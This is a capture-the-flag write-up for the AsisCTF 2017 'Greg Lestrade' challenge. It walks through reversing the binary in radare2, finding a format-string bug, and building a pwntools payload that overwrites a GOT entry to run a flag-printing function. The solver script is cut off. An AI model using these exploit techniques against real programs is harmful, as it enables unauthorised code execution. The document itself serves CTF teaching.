AsisCTF 2017: Greg Lestrade - Exploitation
This challenge from AsisCTF got me practicing my format-string exploit skills, and was succinctly enjoyable.
If you prefer to jump to the python solution, just click here.
This challenge starts off with the flavor text:
Greg Lestrade
Lestrade is often frustrated by Sherlock's cryptic deductions and habit of withholding evidence, but believes that he is a great man. He has been easily exploited when Sherlock remembered his name properly.
nc 146.185.132.36 12431
Whetting My Palate
Upon retrieving the file, I used the file
utility to inspect it:
-> % file greg_lestrade_6ac517945a1e77aa4033ea9c5ee156ccbffbb77f
greg_lestrade_6ac517945a1e77aa4033ea9c5ee156ccbffbb77f: XZ compressed data
-> % tar xvf greg_lestrade_6ac517945a1e77aa4033ea9c5ee156ccbffbb77f
greg_lestrade
-> % file greg_lestrade
greg_lestrade: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked,
interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32,
BuildID[sha1]=0cb99c76fac442391ec59c78ce109d2b799fc456, stripped
The tar utility can decompress (and create) tar, xz, and several other compressed file-formats.
We see that it is a 64-bit binary. After chmod +x ./greg_lestrade
to make it executable, running the binary reveals:
-> % ./greg_lestrade
[*] Welcome admin login system!
Login with your credential...
Credential : HERPDERP
[!] Sorry, wrong credential
I tried a few tricks on it to see what happens:
-> % ./greg_lestrade
[*] Welcome admin login system!
Login with your credential...
Credential : %x%x%x
[!] Sorry, wrong credential
-> % python -c 'print("A"*64)' | ./greg_lestrade
[*] Welcome admin login system!
Login with your credential...
Credential : [!] Sorry, wrong credential
*** stack smashing detected ***: ./greg_lestrade terminated
[1] 16987 done python -c 'print("A"*64)' |
16988 segmentation fault (core dumped) ./greg_lestrade
until my curiosity is piqued. Time to bust out the big guns.
Dem Bigguns
Since I wanna know more about this binary, I run it through checksec
:
-> % checksec --file ./greg_lestrade
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./greg_lestrade
checksec
is a great tool that can be found here. It can show you at a glance what kind of (standard) protections a binary has enabled.
I see immediately that STACK CANARY
and NX
are both set, which I'll have to keep in mind. My next step is to try to do some rudimentary static analysis to see if I can see what the program does.
My tool of choice for this (and other, similar matters) is radare2. I fire up radare2 with r2 ./greg_lestrade
and begin my work:
[0x00400780]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
[0x00400780]> s main
[0x00400a2c]> pdf
/ (fcn) main 293
| main ();
| 0x00400a2c 55 push rbp
| 0x00400a2d 4889e5 mov rbp, rsp
| 0x00400a30 4883ec60 sub rsp, 0x60
| 0x00400a34 897dbc mov dword [local_44h], edi
| 0x00400a37 488975b0 mov qword [local_50h], rsi
| 0x00400a3b 488955a8 mov qword [local_58h], rdx
| 0x00400a3f 64488b042528. mov rax, qword fs:[0x28]
| 0x00400a48 488945f8 mov qword [local_8h], rax
| 0x00400a4c 31c0 xor eax, eax
| 0x00400a4e b800000000 mov eax, 0
| 0x00400a53 e834feffff call sub.setvbuf_88c
| 0x00400a58 48c745d00000. mov qword [local_30h], 0
| 0x00400a60 48c745d80000. mov qword [local_28h], 0
| 0x00400a68 48c745e00000. mov qword [local_20h], 0
| 0x00400a70 48c745e80000. mov qword [local_18h], 0
| 0x00400a78 c745cc000000. mov dword [local_34h], 0
| 0x00400a7f bf880c4000 mov edi, str.____Welcome_admin_login_system___n
| 0x00400a84 e847fcffff call sym.imp.puts
| 0x00400a89 bfaa0c4000 mov edi, str.Login_with_your_credential...
| 0x00400a8e e83dfcffff call sym.imp.puts
| 0x00400a93 bfc80c4000 mov edi, str.Credential_:
| 0x00400a98 b800000000 mov eax, 0
| 0x00400a9d e86efcffff call sym.imp.printf
| 0x00400aa2 488d45d0 lea rax, qword [local_30h]
| 0x00400aa6 ba00020000 mov edx, 0x200
| 0x00400aab 4889c6 mov rsi, rax
| 0x00400aae bf00000000 mov edi, 0
| 0x00400ab3 e878fcffff call sym.imp.read
| 0x00400ab8 488d45d0 lea rax, qword [local_30h]
| 0x00400abc 4889c7 mov rdi, rax
| 0x00400abf e815feffff call sub.strlen_8d9
| 0x00400ac4 85c0 test eax, eax
| ,=< 0x00400ac6 7511 jne 0x400ad9
<SNIP>
We can see on the first highlighted line above where our main routine starts by recognizing the string references we saw when the program was originally run. After printing the prompts, the program then reads 0x200
bytes of data (2nd highlighted line) into a local frame buffer using sym.imp.read
(3rd highlighted line).
Once the program has read in our data, the routine sub.strlen_8d9
is called, followed by a test-and-branch we can see on the last two lines above. This tells me that this function likely is validating our input. Let's see if that's true:
[0x00400abf]> pdf @ sub.strlen_8d9
/ (fcn) sub.strlen_8d9 70
| sub.strlen_8d9 ();
| ; var int local_8h @ rbp-0x8
| 0x004008d9 55 push rbp
| 0x004008da 4889e5 mov rbp, rsp
| 0x004008dd 4883ec10 sub rsp, 0x10
| 0x004008e1 48897df8 mov qword [local_8h], rdi ;;Our input string
| 0x004008e5 488b05941720. mov rax, qword str.7h15_15_v3ry_53cr37_1_7h1nk
| 0x004008ec 4889c7 mov rdi, rax
| 0x004008ef e8ecfdffff call sym.imp.strlen
| 0x004008f4 4889c2 mov rdx, rax ;; size used for strncmp call below
| 0x004008f7 488b05821720. mov rax, qword str.7h15_15_v3ry_53cr37_1_7h1nk
| 0x004008fe 488b4df8 mov rcx, qword [local_8h]
| 0x00400902 4889ce mov rsi, rcx ;; pointer to our input string
| 0x00400905 4889c7 mov rdi, rax ;; pointer to secret string above
| 0x00400908 e8b3fdffff call sym.imp.strncmp ;; returns '0' if strings match
| 0x0040090d 85c0 test eax, eax ;; sets 0 flag if eax == 0
| ,=< 0x0040090f 7507 jne 0x400918 ;; jne == jnz
| | 0x00400911 b801000000 mov eax, 1 ;; returns 1 if strings match
| ,==< 0x00400916 eb05 jmp 0x40091d
| |`-> 0x00400918 b800000000 mov eax, 0 ;; returns 0 if strings don't
| `--> 0x0040091d c9 leave
\ 0x0040091e c3 ret
[0x00400abf]> ps @ str.7h15_15_v3ry_53cr37_1_7h1nk
7h15_15_v3ry_53cr37_1_7h1nk
On the highlighted line above, the
strncmp
call invokes c's string-comparison function.
On x86-64 the ABI specifies that arguments are passed via the registersrdi
,rsi
,rdx
,rcx
,r8
,r9
, in that order.
On linux,man 3 strncmp
will show us that the signature forstrncmp
isint strncmp(const char *s1, const char *s2, size_t n)
, meaning that this program is callingstrncmp(secret, input, strlen(input))
Looking at this disassembly, it was easy to see that this function compared the input against a secret string. I used this string to see what happened next:
-> % ./greg_lestrade
[*] Welcome admin login system!
Login with your credential...
Credential : 7h15_15_v3ry_53cr37_1_7h1nk
0) exit
1) admin action
1
[*] Hello, admin
Give me your command : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x
[*] for secure commands, only lower cases are expected. Sorry admin
0) exit
1) admin action
1
[*] Hello, admin
Give me your command : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%x
[*] for secure commands, only lower cases are expected. Sorry admin
0) exit
1) admin action
0
Good bye, admin :)
As you can see, the "secret" pasphrase got us into the admin menu, but trying some cursory input left me curious what it was doing. Once again, I equipped a software lens through which to view this challenge. I threw together the beginnings of my solver script.
Pythonization
I often use python in conjunction with radare2
so that I can have both programmatic I/O through pwntools
as well as the debugging/disassembling capabilities attached to the same process. I threw together this python script to achieve this:
#!/usr/bin/env python2
from pwn import *
from IPython import embed
DEBUG = True
if DEBUG:
p = process("./greg_lestrade")
else:
p = remote("146.185.132.36", 12431)
def main():
secret1 = "7h15_15_v3ry_53cr37_1_7h1nk"
if DEBUG:
print("In debug mode, [enter] to continue...")
raw_input()
#read first 3 lines of output:
for i in range(3):
print(p.readline())
#send our secret:
p.sendline(secret1)
#read the next 2 lines of output:
for i in range(2):
print(p.readline())
#set us up for sending an admin command:
p.sendline("1")
#read command prompt:
p.readline()
#now drop us into ipython shell:
embed(banner1="")
p.close()
if __name__ == "__main__":
main()
After running this with ./solver.py
, I can interact with the challenge program from the ipython prompt:
-> % ./solver.py
[+] Starting local process './greg_lestrade': pid 4294
In debug mode, [enter] to continue...
[*] Welcome admin login system!
Login with your credential...
Credential : 0) exit
1) admin action
In [1]:
At this point the program is waiting for me to enter my "admin command", and so I attach to the program with radare2 to inspect it's state:
-> % r2 -d $(pidof greg_lestrade)
PIDPATH: /home/tobaljackson/SIT/fall_2017/asisCTF_9-08-2017/pwn_Greg-Lestrade/writeup/greg_lestrade
= attach 4554 4554
bin.baddr 0x00400000
Using 0x400000
Assuming filepath /home/tobaljackson/SIT/fall_2017/asisCTF_9-08-2017/pwn_Greg-Lestrade/writeup/greg_lestrade
asm.bits 64
-- EXPLICIT CONTENT
[0x7fde1ae0ab90]> s rip
[0x7fde1ae0ab90]> s main
[0x00400a2c]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
TODO: esil-vm not initialized
[x] Analyze len bytes of instructions for references (aar)
[x] Analyze function calls (aac)
[x] Use -AA or aaaa to perform additional experimental analysis.
[x] Constructing a function name for fcn.* and sym.func.* functions (aan)
ptrace (PT_ATTACH): Operation not permitted
= attach 4554 4554
[0x00400a2c]> pdf
...
<SNIP>
...
| | 0x00400ac8 bfd60c4000 mov edi, str.____Sorry__wrong_credential
| | 0x00400acd e8fefbffff call sym.imp.puts
| | 0x00400ad2 b800000000 mov eax, 0
| ,==< 0x00400ad7 eb62 jmp 0x400b3b
| .-`-> 0x00400ad9 bff20c4000 mov edi, str.0__exit
| || 0x00400ade e8edfbffff call sym.imp.puts ;; print first menu option
| || 0x00400ae3 bffa0c4000 mov edi, str.1__admin_action
| || 0x00400ae8 e8e3fbffff call sym.imp.puts ;; print second menu item
| || 0x00400aed 488d45cc lea rax, qword [local_34h]
| || 0x00400af1 4889c6 mov rsi, rax
| || 0x00400af4 bf0a0d4000 mov edi, 0x400d0a
| || 0x00400af9 b800000000 mov eax, 0
| || 0x00400afe e85dfcffff call sym.imp.__isoc99_scanf ;;read our choice
| || 0x00400b03 8b45cc mov eax, dword [local_34h]
| || 0x00400b06 85c0 test eax, eax
| ||,=< 0x00400b08 7511 jne 0x400b1b ;; if we did not choose "0",
| ||| 0x00400b0a bf0d0d4000 mov edi, str.Good_bye__admin_:_
| ||| 0x00400b0f e8bcfbffff call sym.imp.puts
| ||| 0x00400b14 b800000000 mov eax, 0
| ,====< 0x00400b19 eb20 jmp 0x400b3b
| |||`-> 0x00400b1b 8b45cc mov eax, dword [local_34h]
| ||| 0x00400b1e 83f801 cmp eax, 1
| |||,=< 0x00400b21 740c je 0x400b2f ;; and we have chosen "1",
| |||| 0x00400b23 bf200d4000 mov edi, str.Wrong.
| |||| 0x00400b28 e8a3fbffff call sym.imp.puts
| ,=====< 0x00400b2d eb0a jmp 0x400b39
| ||||`-> 0x00400b2f b800000000 mov eax, 0
| |||| 0x00400b34 e8e6fdffff call sub.puts_91f ;; then call this function
| `-`===< 0x00400b39 eb9e jmp 0x400ad9
| `-`--> 0x00400b3b 488b4df8 mov rcx, qword [local_8h]
| 0x00400b3f 6448330c2528. xor rcx, qword fs:[0x28]
| ,=< 0x00400b48 7405 je 0x400b4f
| | 0x00400b4a e8a1fbffff call sym.imp.__stack_chk_fail
| `-> 0x00400b4f c9 leave
\ 0x00400b50 c3 ret
Following the program path that I took (look at the arrows on the left and the comments I've added) it seems that the function sub.puts91f
does the rest of the heavy lifting since main
returns shortly thereafter.
I looked at what this function did:
[0x00400ade]> pdf @ sub.puts_91f
/ (fcn) sub.puts_91f 269
| sub.puts_91f ();
| ; var int local_412h @ rbp-0x412
| ; var int local_411h @ rbp-0x411
| ; var int local_410h @ rbp-0x410
| ; var int local_8h @ rbp-0x8
| 0x0040091f 55 push rbp
| 0x00400920 4889e5 mov rbp, rsp
| 0x00400923 4881ec200400. sub rsp, 0x420 ;; make an 0x420 size stack frame
| 0x0040092a 64488b042528. mov rax, qword fs:[0x28]
| 0x00400933 488945f8 mov qword [local_8h], rax
| 0x00400937 31c0 xor eax, eax
| 0x00400939 488d95f0fbff. lea rdx, qword [local_410h]
| 0x00400940 b800000000 mov eax, 0
| 0x00400945 b980000000 mov ecx, 0x80
| 0x0040094a 4889d7 mov rdi, rdx
| 0x0040094d f348ab rep stosq qword [rdi], rax
| 0x00400950 bf140c4000 mov edi, str.____Hello__admin
| 0x00400955 e876fdffff call sym.imp.puts ;; print welcome message
| 0x0040095a bf260c4000 mov edi, str.Give_me_your_command_:
| 0x0040095f b800000000 mov eax, 0
| 0x00400964 e8a7fdffff call sym.imp.printf ;; prompt for command...
| 0x00400969 488d85f0fbff. lea rax, qword [local_410h]
| 0x00400970 baff030000 mov edx, 0x3ff ;; read up to 0x3ff bytes
| 0x00400975 4889c6 mov rsi, rax ;; pointer to buffer
| 0x00400978 bf00000000 mov edi, 0 ;; read from STDIN
| 0x0040097d e8aefdffff call sym.imp.read ;; now read() up to 0x3ff bytes into rbp-0x410
| 0x00400982 488d85f0fbff. lea rax, qword [local_410h]
| 0x00400989 4889c7 mov rdi, rax
| 0x0040098c e84ffdffff call sym.imp.strlen ;; count number of bytes to first null...
| 0x00400991 83c001 add eax, 1 ;; add 1 to this count
| 0x00400994 8885effbffff mov byte [local_411h], al ;; store byte on stack == count % 256
| 0x0040099a c685eefbffff. mov byte [local_412h], 0
| ,=< 0x004009a1 eb4b jmp 0x4009ee ;; unconditional jump
| | ; JMP XREF from 0x004009fb (sub.puts_91f)
| .--> 0x004009a3 0fb685eefbff. movzx eax, byte [local_412h]
| || 0x004009aa 4898 cdqe
| || 0x004009ac 0fb68405f0fb. movzx eax, byte [rbp + rax - 0x410]
| || 0x004009b4 3c60 cmp al, 0x60 ; '`'
| ,===< 0x004009b6 7e15 jle 0x4009cd
| ||| 0x004009b8 0fb685eefbff. movzx eax, byte [local_412h]
| ||| 0x004009bf 4898 cdqe
| ||| 0x004009c1 0fb68405f0fb. movzx eax, byte [rbp + rax - 0x410]
| ||| 0x004009c9 3c7a cmp al, 0x7a ; 'z'
| ,====< 0x004009cb 7e11 jle 0x4009de
| |`---> 0x004009cd bf400c4000 mov edi, str.____for_secure_commands__only_lower_cases_are_expected._Sorry_admin
| | || 0x004009d2 e8f9fcffff call sym.imp.puts
| | || 0x004009d7 b800000000 mov eax, 0
| |,===< 0x004009dc eb38 jmp 0x400a16
| `----> 0x004009de 0fb685eefbff. movzx eax, byte [local_412h]
| ||| 0x004009e5 83c001 add eax, 1
| ||| 0x004009e8 8885eefbffff mov byte [local_412h], al
| ||`-> 0x004009ee 0fb685eefbff. movzx eax, byte [local_412h] ;; eax = 0
| || 0x004009f5 3a85effbffff cmp al, byte [local_411h] ;; see if al == 0
| |`==< 0x004009fb 72a6 jb 0x4009a3 ;; if not, perform check above
| | 0x004009fd 488d85f0fbff. lea rax, qword [local_410h] ;; else,
| | 0x00400a04 4889c7 mov rdi, rax
| | 0x00400a07 b800000000 mov eax, 0
| | 0x00400a0c e8fffcffff call sym.imp.printf ;; just print the string we entered with printf()
| | 0x00400a11 b800000000 mov eax, 0
| `---> 0x00400a16 488b75f8 mov rsi, qword [local_8h]
| 0x00400a1a 644833342528. xor rsi, qword fs:[0x28]
| ,=< 0x00400a23 7405 je 0x400a2a
| | 0x00400a25 e8c6fcffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
| `-> 0x00400a2a c9 leave
\ 0x00400a2b c3 ret
I've added some comments to the above output to help illustrate what this code is doing. On the first highlighted line above is where the program reads in our admin command
. We can see from the value loaded into edx
that read()
will read up to 0x3ff
bytes into the buffer at rbp-0x410
(pointer in rsi
):
| 0x00400969 488d85f0fbff. lea rax, qword [local_410h]
| 0x00400970 baff030000 mov edx, 0x3ff ;; read up to 0x3ff bytes
| 0x00400975 4889c6 mov rsi, rax ;; pointer to buffer
| 0x00400978 bf00000000 mov edi, 0 ;; read from STDIN
| 0x0040097d e8aefdffff call sym.imp.read ;; now read() up to 0x3ff bytes into rbp-0x410
Interestingly, after the program reads in our data, it calls strlen()
on this (instead of using read()
's return value) which will behave (potentially) unexpectedly; while read()
can read NULL
bytes (\x00
), strlen()
will stop counting at the first NULL
byte encountered!
| 0x00400982 488d85f0fbff. lea rax, qword [local_410h]
| 0x00400989 4889c7 mov rdi, rax ;; pointer to our input string
| 0x0040098c e84ffdffff call sym.imp.strlen ;; count number of bytes to first null...
After strlen()
completes, 1
is added to this value, and the LSB of rax is saved. This is equivalent to count = (strlen(input) + 1) % 256
, and can be seen taking place in the snipped reproduced here:
| 0x00400991 83c001 add eax, 1 ;; add 1 to this count
| 0x00400994 8885effbffff mov byte [local_411h], al ;; store byte on stack == count % 256
| 0x0040099a c685eefbffff. mov byte [local_412h], 0
| ,=< 0x004009a1 eb4b jmp 0x4009ee ;; unconditional jump
After this, the program makes an unconditional jump, whereafter this value I've labeled count
is checked (at 0x4009ee
, the line highlighted in the snippet below).
| ||`-> 0x004009ee 0fb685eefbff. movzx eax, byte [local_412h] ;; eax = 0
| || 0x004009f5 3a85effbffff cmp al, byte [local_411h] ;; see if al == 0
| |`==< 0x004009fb 72a6 jb 0x4009a3 ;; if not, perform check above
Here, the value is compared against 0
, and if it is non-zero, the program jumps back to a check to see if the value falls between `
and z
(0x60
and 0x7a
). However, if this value is 0
, then the program simply passes our string to printf()
!
| | 0x004009fd 488d85f0fbff. lea rax, qword [local_410h] ;; else,
| | 0x00400a04 4889c7 mov rdi, rax ;; pointer to our input string
| | 0x00400a07 b800000000 mov eax, 0
| | 0x00400a0c e8fffcffff call sym.imp.printf ;; just print the string we entered with printf()
This is our golden ticket, and the path to success. Since the string is passed to printf()
unaltered, then the program will be vulnerable to format-string exploitation.
Hold on to your format-string
s, it's time for an overhaul!
format-string
s, it's time for an overhaul!I verified that printf()
is called on our input when the strlen()
check (+1) results in LSB of 0 by performing the following procedure.
First, in python, I sent input to the program such that (len(input) + 1) % 256 == 0
:
In [1]: p.sendline("A" * 250 + "%lx.")
While it may look like I've only supplied 254 bytes (250 + 4),
pwntools
'sendline
method appends the newline character (\n
) to the message, much like python's builtin
This results in a length of 255, to which 1 will be added, resulting in the LSB ofrax
==0x00
.
Back in radare
, first I set a breakpoint to the instruction after the read and then continue to it:
[0x00400a2c]> db 0x00400982
[0x00400a2c]> dc
[0x00400a2c]> pd 8 @ 0x0040097d
| 0x0040097d e8aefdffff call sym.imp.read
| ;-- rip:
| 0x00400982 b 488d85f0fbff. lea rax, qword [local_410h]
| 0x00400989 4889c7 mov rdi, rax
| 0x0040098c e84ffdffff call sym.imp.strlen
| 0x00400991 83c001 add eax, 1
| 0x00400994 8885effbffff mov byte [local_411h], al
| 0x0040099a c685eefbffff. mov byte [local_412h], 0
| ,=< 0x004009a1 eb4b jmp 0x4009ee
[0x00400a2c]> db 0x0040099a
I follow this up by setting a breakpoint after al
is saved to the stack.
Before continuing execution, I inspect the stack to see what I've sent to the program:
[0x00400982]> pxq 0x11f @ rsp
0x7ffcd53a5830 0x00007f059438e900 0x00007ffcd53a5a10 ..8......Z:.....
0x7ffcd53a5840 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5850 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5860 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5870 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5880 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5890 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a58a0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a58b0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a58c0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a58d0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a58e0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a58f0 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5900 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5910 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5920 0x4141414141414141 0x4141414141414141 AAAAAAAAAAAAAAAA
0x7ffcd53a5930 0x4141414141414141 0x000a2e786c254141 AAAAAAAAAA%lx...
0x7ffcd53a5940 0x0000000000000000 ........
As well as the current state of the al
register:
[0x00400a2c]> dr al
0x000000ff
Continuing execution will allow me to see if I input exactly 255 bytes:
[0x00400a2c]> dc
hit breakpoint at: 40099a
[0x00400a2c]> dr al
0x00000000
Success! I now set a breakpoint on the branch instruction for illustrative purposes:
[0x00400a2c]> db 0x004009fb
[0x00400a2c]> dc
hit breakpoint at: 4009fb
[0x00400a2c]> s rip
[0x004009fb]> pd 1
| `=< ;-- rip:
| `=< 0x004009fb b 72a6 jb 0x4009a3
And we can see that the instruction pointer is indeed here, after the comparison has already taken place. If a branch occurs, then rip
will be set to 0x4009a3
, otherwise it will continue to 0x4009fb
:
[0x004009fb]> ds
[0x004009fb]> s rip
[0x004009fd]> pd 4
| ;-- rip:
| 0x004009fd 488d85f0fbff. lea rax, qword [local_410h]
| 0x00400a04 4889c7 mov rdi, rax
| 0x00400a07 b800000000 mov eax, 0
| 0x00400a0c e8fffcffff call sym.imp.printf
Perfection! We've satisfied the condition required for the program to reach the printf()
call (skipping the character range check), and all that's left is to see our memory leakage occur:
[0x004009fd]> 4dso
hit breakpoint at: 400a11
At this point, the program will have sent its output to our python shell, so we switch back to it and see:
In [2]: p.readline()
Out[2]: 'Give me your command : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA0.\n'
While it may not seem apparent, the
0
character at the end of this output represents format string injection, which we will utilize to own this program.
At this point I began the trek through the printf()
garden.
Zen and the art of printf()
exploitation
printf()
exploitationAt this point I started to come up with a plan on how I was going to exploit this program. I was thinkning of GOT and ROP among other things, exploring the binary until I came across the following:
[0x00400876]> pd 8 @ 0x00400876
0x00400876 55 push rbp
0x00400877 4889e5 mov rbp, rsp
0x0040087a bf040c4000 mov edi, str._bin_cat_._flag ; 0x400c04 ; "/bin/cat ./flag"
0x0040087f b800000000 mov eax, 0
0x00400884 e877feffff call sym.imp.system ; int system(const char *string)
0x00400889 90 nop
0x0040088a 5d pop rbp
0x0040088b c3 ret
There's shellcode to cat the flag already there! Upon seeing this, I realized that this was surely intentional, and realized the difficulty of this challenge was immediately reduced significantly. All that was required at this point was to obtain control over rip
, pointing it at 0x00400876
to win.
My first thought was a simple buffer overflow to overwrite the return address of main with the goal one, however both the presence of a stack canary as well as (likely) ASLR on the remote side pushed me away from this solution.
Inspecting the memory map showed that the Global Offset Table was writable:
[0x00400b21]> iS~got
idx=13 vaddr=0x00400770 paddr=0x00000770 sz=8 vsz=8 perm=--r-x name=.plt.got
idx=23 vaddr=0x00601ff8 paddr=0x00001ff8 sz=8 vsz=8 perm=--rw- name=.got
idx=24 vaddr=0x00602000 paddr=0x00002000 sz=112 vsz=112 perm=--rw- name=.got.plt
The
perm=--rw-
part of the highlighted line meansread
/write
on that memory section.
I printed this memory address so I could see which slots were reserved for which imported functions:
[0x00602000]> pxa
- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF
/map._home_tobaljackson_SIT_fall_2017_asisCTF_9_08_201..
0x00602000 281e 6000 0000 0000 0051 a8df 957f 0000 (.`......Q......
/reloc.strncmp_24
0x00602010 404f 87df 957f 0000 c606 4000 0000 0000 @O........@.....
/reloc.puts_32 /reloc.strlen_40
0x00602020 1072 51df 957f 0000 e606 4000 0000 0000 .rQ.......@.....
/reloc.__stack_chk_f/reloc.system_56
0x00602030 f606 4000 0000 0000 0607 4000 0000 0000 ..@.......@.....
/reloc.printf_64 /reloc.alarm_72
0x00602040 00da 4fdf 957f 0000 2607 4000 0000 0000 ..O.....&.@.....
/reloc.read_80 /reloc.__libc_start_main_88
0x00602050 90f7 58df 957f 0000 808e 4cdf 957f 0000 ..X.......L.....
/reloc.setvbuf_96 /reloc.__isoc99_scanf_104
0x00602060 f079 51df 957f 0000 6607 4000 0000 0000 .yQ.....f.@.....
pxa
shows an annotated hexdump
Here I have basically a menu advertising which dishes I might order up to sate my appetite. As I perused the selection, I recalled that the program repeatedly promted me for input using read
. I selected read
to be my tasty treat (0x602040
) for the exploit.
All I have to do is write the address of our winning function (0x00400876
) over the imported read
address in the GOT (0x00602040
) to cause the program to execute it.
Stringification
At this point, I used some trial and error to construct a format string which will overwrite that in the GOT with what I needed:
#first clear out the lower half of GOT entry:
writeStr0 = "%72$n"
#now we write 2nd half of desired word, 0x0040:
writeStr1 = "%65123lx.%72$hn"
writeAddr1 = p64(0x602042)
#now we write first half of desired word, 0x0876
writeStr2 = "%2101lx.%73$hn"
writeAddr2 = p64(0x602040)
#now we construct our payload of the ages:
payload = 'a' * (0x1fe - len(writeStr0 + writeStr1 + writeStr2)) + writeStr0 + writeStr1 + \
writeStr2 + '\x0a\x00' + writeAddr1 + writeAddr2
The last line (highlighted) above is where the format string itself is actually put together from its constituent components.
%
begins a format specifier.
%<number><format>
causesprintf
to space-pad its output (e.g.%1337x
will print 1337 spaces followed by a hexadecimal representation of the word [4 bytes]).
%lx
prints a qword instead of dword (8 bytes instead of 4).
%<number>$<format>
causesprintf
to reference the<number>th
argument as input to the format specifier.
%n
format specifier will write the number of bytes written byprintf
so far to the address specified as an int (4 bytes).
%hn
does the same as above, but as a halfword (2 bytes).
Notice that I use a filler of length (0x1fe - len(writeStr0 + writeStr1 + writeStr2))
. Since this is followed by \x0a\x00
this will ensure the first requirement for short-circuiting the code to bring us right to printf
. Additionally, since read
is the method being used, NULL
bytes are allowed to be read, allowing me to continue supplying data.
The only other things I write are the two memory addresses 0x602042
and 0x602040
.
These two addresses I've written to the stack allow me to reference the GOT in the format string using the position specifiers %72$
and %73$
. I specify these two addresses so that I can write the the GOT without having to receive a large amount of data produce with the width specifiers (%65123
and %2101
).
If the above seems confusing, take a look at an in-depth guide to format string exploitation like this one.
With the addition of the python code above, my script became complete, allowing me to exploit locally. I retargeted the script to the remote server, let it rip, and was able to retrieve the flag!
The Solution
Here is the final solver script which I cleaned up and marked up a bit to show the different parts working:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 | #!/usr/bin/env python2
from pwn import *
from IPython import embed
DEBUG = True
target = 0x400876
if DEBUG:
p = process("./greg_lestrade")
else:
p = remote("146.185.132.36", 12431)
def wait():
sleep(0.2)
def log(message, sev=0):
msg = ""
if sev == 0:
msg += "[INFO] - "
